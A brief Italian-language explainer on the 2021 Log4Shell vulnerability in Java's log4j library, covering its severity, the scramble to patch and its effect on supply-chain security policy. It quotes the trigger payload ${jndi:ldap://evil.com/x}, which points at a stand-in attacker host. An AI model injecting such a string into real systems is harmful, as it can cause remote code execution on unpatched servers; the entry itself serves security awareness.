Log4Shell
Vulnerabilità catastrofica nella libreria di logging Java log4j (dicembre 2021): bastava registrare una stringa per eseguire codice arbitrario.
Innesco: ${jndi:ldap://evil.com/x}. Log4j è presente in miliardi di sistemi Java nel mondo. CVSS 10.0. Settimane di patching in preda al panico. Un simbolo del rischio di supply chain nelle dipendenze open source. Ha spinto iniziative UE e USA su SBOM e segnalazione della sicurezza.